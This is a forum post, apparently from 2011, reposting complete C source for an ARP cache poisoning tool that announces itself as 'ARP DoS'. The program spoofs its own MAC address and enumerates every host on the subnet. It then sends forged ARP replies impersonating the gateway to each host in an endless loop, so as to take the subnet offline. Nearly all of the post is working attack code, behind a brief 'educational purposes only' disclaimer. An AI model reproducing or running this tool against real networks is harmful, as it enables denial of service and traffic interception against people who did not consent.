Nytro Posted December 26, 2011 Report Posted December 26, 2011 ARP Cache Poisoning /** I do very much enjoy this raw socket network programming. This code could and probably should be optimized in several ways, but I tried. Anyway, this code is for testing and educational purposes only, yadda yadda yadda... The program: Exploits the Address Resolution Protocol (legacy exploit, I know) on the whole subnet. Just read the code if you want to know more. If you can't read it, then learn how it works before thinking about using it. Reasons for compilation/runtime errors: (may be some dumb reasons but you never know...) - misconfiguration with your network (/proc/net/route and your NIC need to be configured) - you aren't root - you aren't even running Linux - missing header files (O_o) - you are an idiot Tested on a private network using Ubuntu Linux on a network with two machines running Windows XP and Slackware Linux **/ /** And the Code: **/ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <sys/select.h> #include <features.h> #include <sys/types.h> #include <net/if.h> #include <net/ethernet.h> #include <net/if_arp.h> #include <netinet/in.h> #include <netinet/ether.h> #include <linux/if_packet.h> #include <linux/if_ether.h> #include <linux/ip.h> #include <linux/icmp.h> #include <unistd.h> #include <arpa/inet.h> #include <errno.h> #include <netdb.h> #include <time.h> #include <signal.h> #define BROADCAST "ff:ff:ff:ff:ff:ff" #define EMPTY "00:00:00:00:00:00" #define SPOOF_MAC "00:DE:AD:BE:EF:11" /* 14 byte Ethernet Protocol header definition */ typedef struct EthernetHeader { unsigned char destination[6]; unsigned char source[6]; unsigned short protocol; } EthernetHeader; /* 28 byte ARP header */ typedef struct ArpHeader { unsigned short hardware_type; unsigned short protocol_type; unsigned char hard_addr_len; unsigned char prot_addr_len; unsigned short opcode; unsigned char source_hardware[6]; unsigned int source_ip; unsigned char dest_hardware[6]; unsigned int dest_ip; }__attribute__((__packed__)) ArpHeader; /* a data structure to hold whatever information you want to keep track of about each host */ typedef struct RemoteHost { unsigned char mac[6]; unsigned int ip; } RemoteHost; int childnotdead; /* global variables for SIGNAL access, since you can't really pass any args to a signal handler... */ unsigned char orig_mac[6]; struct ifreq ifr_fix; int sockfd_fix; void createEthHeader(EthernetHeader *ethernet_header, unsigned char *src_mac, unsigned char *dest_mac, int proto) { /* set up 14 byte Ethernet header */ memcpy(ethernet_header->source, src_mac, 6); memcpy(ethernet_header->destination, dest_mac, 6); ethernet_header->protocol = htons(proto); } void createArpHeader(ArpHeader *ArpHeader, unsigned char *src_mac, unsigned char *dst_mac, unsigned int src_ip, unsigned int dst_ip, unsigned int opCode) { /* set up 28 byte ARP header */ ArpHeader->hardware_type = htons(ARPHRD_ETHER); ArpHeader->protocol_type = htons(ETHERTYPE_IP); ArpHeader->hard_addr_len = 6; ArpHeader->prot_addr_len = 4; ArpHeader->opcode = htons(opCode); memcpy(ArpHeader->source_hardware, src_mac, 6); ArpHeader->source_ip = src_ip; memcpy(ArpHeader->dest_hardware, dst_mac, 6); ArpHeader->dest_ip = dst_ip; } /* byte array to null terminated string, any other method of printing the MAC address was annoying */ static char * mactos(unsigned char *addr) { static char buffer[256]; sprintf(buffer,"%02x:%02x:%02x:%02x:%02x:%02x",addr[0],addr[1],addr[2],addr[3],addr[4],addr[5]); return buffer; } /* unsigned int to string, easier way to manage different IP address formats IMHO */ static char * uitos(unsigned int ip) { static char bytes[256]; sprintf(bytes, "%d.%d.%d.%d", (ip >> 24) & 0xFF, (ip >> 16) & 0xFF, (ip >> 8) & 0xFF, (ip >> 0) & 0xFF); return bytes; } /* returns a raw socket file descriptor that listens for packets on the OSI Layer 2 level */ int createRawSockFd(int protocol) { int sockfd; if ((sockfd = socket(PF_PACKET, SOCK_RAW, protocol)) < 0) { perror("socket"); exit(-1); } return sockfd; } /* binds the raw socket FD to the device given as argument one */ int bindSock(char *device_name, int sockfd, int protocol) { struct sockaddr_ll sll; struct ifreq ifr; bzero(&sll,sizeof(sll)); bzero(&ifr,sizeof(ifr)); /* get the interface index */ strncpy((char *)ifr.ifr_name, device_name, IFNAMSIZ); if ((ioctl(sockfd, SIOCGIFINDEX, &ifr))==-1) { printf("Could not get the interface index.\n"); exit(-1); } /* bind raw socket to the interface */ sll.sll_family=AF_PACKET; sll.sll_ifindex=ifr.ifr_ifindex; sll.sll_protocol=htons(protocol); if ((bind(sockfd, (struct sockaddr *)&sll, sizeof(sll)))==-1) { printf("bind failed, couldn't bind raw socket to interface.\n"); exit(1); } return 1; } /* really easy to send packets, just write it out to the socket */ int sendPacket(int sockfd, unsigned char *packet, int packetSize) { int bytes = 0; if ((bytes = write(sockfd, packet, packetSize)) != packetSize) { fprintf(stderr, "could only send %d\\%d bytes of data onto wire\n", bytes, packetSize); return 0; } return 1; } void printPacket(unsigned char *packet, int packet_len) { int i; for (i = 0; i < packet_len; i+=2) { if (!(i % 16)) printf("\n"); printf("%02x%02x ", packet[i], packet[i+1]); } printf("\n\n"); } void strip_newline(char *str) { int i; for (i=0; i<strlen(str); i++) if (str[i] == '\n') str[i] = '\0'; } void handler(int sig) { childnotdead = 0; } /* makes sure that I don't get duplicate addresses, my own, or the gateway */ int validTarget(unsigned int ip, unsigned int localip, unsigned int gatewayip, RemoteHost *hostlist, int curr) { int i; if ((ip == localip) || (ip == gatewayip)) return 0; for (i = 0; i < curr; i++) if (ip == hostlist[i].ip) return 0; return 1; } void banner( void ) { printf("\nARP DoS by suid\n\n"); } void fixMAC(int signum) { printf("Setting MAC address back to %s\n", mactos(orig_mac)); memcpy(&ifr_fix.ifr_hwaddr.sa_data, orig_mac, 6); if (ioctl(sockfd_fix, SIOCSIFHWADDR, &ifr_fix) < 0) { perror("SIOCSIFHWADDR"); exit(-1); } exit(signum); } static char * getAns(char *q) { char *ans = (char *)malloc(sizeof(char)*10); printf("%s", q); fgets(ans, sizeof(ans)-1, stdin); strip_newline(ans); return ans; } void removeHosts(struct RemoteHost *host_list, int numhosts) { char buff[1024], *token; int *hosts = malloc(numhosts), i = 1, j, k = 0; RemoteHost *new_host_list; int newNumHosts; printf("Format: <host0> <host1> <host2> ... <hostn>\n"); fgets(buff, sizeof(buff)-1, stdin); token = strtok(buff, " "); hosts[0] = atoi(token); while ((token = strtok(NULL, " ")) != NULL) { hosts[i] = atoi(token); i++; } newNumHosts = numhosts - i; printf("Now removing...\nHosts: "); for (j = 0; j < i; j++) printf("%s\n", uitos(ntohl(host_list[hosts[j]].ip))); printf("\n"); for (j = 0; j < i; j++) host_list[hosts[j]].ip = 0; new_host_list = (RemoteHost *)malloc(sizeof(RemoteHost)*newNumHosts); for (i = k; i < numhosts; i++) if (host_list[i].ip == 0) continue; else { new_host_list[k] = host_list[i]; k++; } host_list = new_host_list; } int main(int argc, char **argv) { EthernetHeader *arp_ethernet_header, *ethernet_header_reply; ArpHeader *arp_header, *arp_header_reply; unsigned int device_in_addr, gateway_in_addr, netmask, subnet, *remote_hosts, numhosts; int sockfd, i, zeros, numIfs, ArpPacketSize, pid, bytes, hosts_online; unsigned char *ArpPacket, device_mac[6], gateway_mac[6], packet_recv[2048]; char buff[1024], pbuff[1024], *token, *device_name, answer[3]; FILE *pipe; struct ifreq *ifr, *ifr_item; struct ifreq ifr_dat; struct ifconf ifc; struct sockaddr_in sin, *sin2; struct arpreq areq; struct timeval tv; struct in_addr ipaddr; fd_set readfds; RemoteHost *remote_host_info; banner(); /* make sure user has root for raw sockets */ if (getuid() != 0) { fprintf(stderr, "This program requires root priviledges to execute!\n"); exit(-1); } signal(SIGINT, fixMAC); sockfd = createRawSockFd(ETH_P_ALL); sockfd_fix = sockfd; /** GET NIC NAME, NIC IP, NIC MAC, GATEWAY IP, GATEWAY MAC, SUBNET MASK (NUMBER OF HOSTS ON SUBNET) **/ if ((pipe = popen("cat /proc/net/route", "r")) == NULL) { fprintf(stderr, "pipe to cat route failed.\n"); exit(-1); } while (fgets(pbuff, sizeof(pbuff), pipe) != NULL) { token = strtok(pbuff, "\t\n "); device_name = token; while (token != NULL) { token = strtok(NULL, "\t\n "); if (!strcmp(token, "00000000")) { token = strtok(NULL, "\t\n "); gateway_in_addr = strtol(token, NULL, 16); break; } else { break; } token = strtok(NULL, "\t\n "); } } /* bind socket to this default network interface */ bindSock(device_name, sockfd, ETH_P_ALL); /* get list of network address assigned NIC's */ ifc.ifc_len = sizeof(buff); ifc.ifc_buf = buff; if (ioctl(sockfd, SIOCGIFCONF, &ifc) < 0) { perror("SIOCGIFCONF"); exit(-1); } /* find NIC with default route, get NIC IP address */ ifr = ifc.ifc_req; numIfs = ifc.ifc_len / sizeof(struct ifreq); for (i = 0; i < numIfs; i++) { ifr_item = &ifr[i]; if (!strcmp(ifr_item->ifr_name, device_name)) device_in_addr = (((struct sockaddr_in *)&ifr_item->ifr_addr)->sin_addr).s_addr; } /* get NIC/GATEWAY MAC address */ strncpy((char *)ifr_dat.ifr_name, device_name, IFNAMSIZ); if (ioctl(sockfd, SIOCGIFHWADDR, &ifr_dat) < 0) { perror("SIOCGIFHWADDR"); exit(-1); } memcpy(orig_mac, ifr_dat.ifr_hwaddr.sa_data, 6); /* this is SO ugly but meh, it works */ memset(&areq, 0, sizeof(areq)); sin2 = (struct sockaddr_in *)&areq.arp_pa; sin2->sin_family = AF_INET; ipaddr.s_addr = gateway_in_addr; sin2->sin_addr = ipaddr; sin2 = (struct sockaddr_in *)&areq.arp_ha; sin2->sin_family = ARPHRD_ETHER; strncpy(areq.arp_dev, device_name, 15); if (ioctl(sockfd, SIOCGARP, (caddr_t)&areq) == -1) { perror("SIOCGARP: check your ARP table"); exit(-1); } memcpy(gateway_mac, (&areq.arp_ha)->sa_data, 6); memcpy(&ifr_dat.ifr_hwaddr.sa_data,(unsigned char *)ether_aton(SPOOF_MAC),6); if (ioctl(sockfd, SIOCSIFHWADDR, &ifr_dat) < 0) { perror("SIOCSIFHWADDR"); exit(-1); } memcpy(device_mac, ifr_dat.ifr_hwaddr.sa_data, 6); ifr_fix = ifr_dat; /* get subnet mask and network address to calculate number of hosts */ if (ioctl(sockfd, SIOCGIFNETMASK, &ifr_dat) < 0) { perror("SIOCGIFNETMASK"); exit(-1); } memcpy(&sin, &ifr_dat.ifr_addr, sizeof(struct sockaddr)); netmask = sin.sin_addr.s_addr; subnet = (netmask & device_in_addr); for (i=0; i<32; i++) if (ntohl(netmask) & (1<<i)) break; zeros = i; numhosts = (1<<zeros); /* fill host_addrs with possible assigned addresses, skip 0x00?????? 0xFF?????? */ remote_hosts = (unsigned int *)malloc(sizeof(unsigned int)*(numhosts)); for (i = 0; i < numhosts; i++) remote_hosts[i] = (ntohl(subnet) | i); /** END NETWORK INFORMATION QUERIES **/ /** CREATE DEFAULT ARP PACKET **/ /* create memory segment for ARP packet header */ ArpPacketSize = sizeof(EthernetHeader) + sizeof(ArpHeader); ArpPacket = (unsigned char *)malloc(ArpPacketSize); arp_ethernet_header = (EthernetHeader *)ArpPacket; arp_header = (ArpHeader *)(ArpPacket + sizeof(EthernetHeader)); /* fill in ARP Request packet header */ createArpHeader(arp_header, device_mac, (ether_aton(EMPTY))->ether_addr_octet, device_in_addr, 0, ARPOP_REQUEST); /* fill in ARP packet Ethernet header */ createEthHeader(arp_ethernet_header, device_mac, (ether_aton(BROADCAST))->ether_addr_octet, ETHERTYPE_ARP); /** END DEFAULT PACKETS **/ /** CREATE LIST OF HOSTS' IP -> MAC ADDRESSES VIA ARP REQUEST **/ /* use two different processes to handle sending ARP Requests and receiving ARP Replies both for increased speed and reliability */ setbuf(stdout, NULL); printf("\n"); if ((pid = fork()) == 0) { /* send the ARP Requests out to all hosts in remote_hosts */ for (i = 0; i < numhosts; i++) { if (ntohl(remote_hosts[i]) == device_in_addr) continue; arp_header->dest_ip = htonl(remote_hosts[i]); if (!sendPacket(sockfd, ArpPacket, ArpPacketSize)) { perror("[*] Packet send failed!\n"); exit(-1); } /* some networks create Ethernet collisions with dropped packets as a result so slow it down a small amount */ usleep(100000); } sleep(10); exit(1); } else { /* listen for ARP Replies from the hosts on the network and record the MAC addresses */ remote_host_info = malloc(sizeof(RemoteHost) * numhosts); signal(SIGCHLD, handler); childnotdead = 1; printf("Gathering MAC addresses...\n"); printf("This may take a while so go get a drink or something.\n"); i = 0; while (childnotdead) { /* watch for ARP Replies */ FD_ZERO(&readfds); FD_SET(sockfd, &readfds); tv.tv_sec = 2; memset(packet_recv, 0, sizeof(packet_recv)); if (select(sockfd+1, &readfds, NULL, NULL, &tv) < 0) { perror("select()"); } if (!childnotdead) break; if (FD_ISSET(sockfd, &readfds)) { if ((bytes = read(sockfd, packet_recv, sizeof(packet_recv))) < 0) { perror("read"); } if (bytes > sizeof(EthernetHeader)) { ethernet_header_reply = (EthernetHeader *)packet_recv; if (ntohs(ethernet_header_reply->protocol) == ETHERTYPE_ARP) { arp_header_reply = (ArpHeader *)(packet_recv + sizeof(EthernetHeader)); if (ntohs(arp_header_reply->opcode) == ARPOP_REPLY) { /* make sure source is not myself, the default route, or a duplicate entry */ if (validTarget(arp_header_reply->source_ip, device_in_addr, gateway_in_addr, remote_host_info, i)) { memcpy(remote_host_info[i].mac, arp_header_reply->source_hardware, 6); remote_host_info[i].ip = arp_header_reply->source_ip; i++; } } } } } } hosts_online = i; printf("MAC addresses enumerated, %d machines attached to current subnet.\n", hosts_online); memcpy(answer, getAns("Display list of IP -> MAC? (y/n) "), sizeof(answer)); if (!strcmp(answer, "yes") || !strcmp(answer, "y")) { for (i = 0; i < hosts_online; i++) printf("(%d) %s -> %s\n", i, uitos(ntohl(remote_host_info[i].ip)), mactos(remote_host_info[i].mac)); memset(answer, 0, sizeof(answer)); memcpy(answer, getAns("Would you like to remove any of these hosts from this list? (y/n) "), sizeof(answer)); if (!strcmp(answer, "yes") || !strcmp(answer, "y")) { removeHosts(remote_host_info, hosts_online); } sleep(10); } } /** END MAC ADDRESS **/ printf("\n"); /** SEND SPOOFED ARP REPLY TO EACH HOST ONLINE **/ for ( { //for()ever!! for (i = 0; i < hosts_online; i++) { printf("Poisoning %s...\n", uitos(ntohl(remote_host_info[i].ip))); sleep(1); createArpHeader(arp_header, device_mac, remote_host_info[i].mac, gateway_in_addr, remote_host_info[i].ip, ARPOP_REPLY); createEthHeader(arp_ethernet_header, gateway_mac, remote_host_info[i].mac, ETHERTYPE_ARP); //printPacket(ArpPacket, ArpPacketSize); if (!sendPacket(sockfd, ArpPacket, ArpPacketSize)) { perror("[*] Packet send failed!\n"); exit(-1); } } printf("Subnet should be down. Repoisoning in 30s ...\n\n"); sleep(30); printf("Repoisoning!\n"); sleep(2); } /** END REPLIES **/ free(ArpPacket); close(sockfd); return 0; }Sursa: r00tsecurity -> Source Code Center :: ARP Cache Poisoning Quote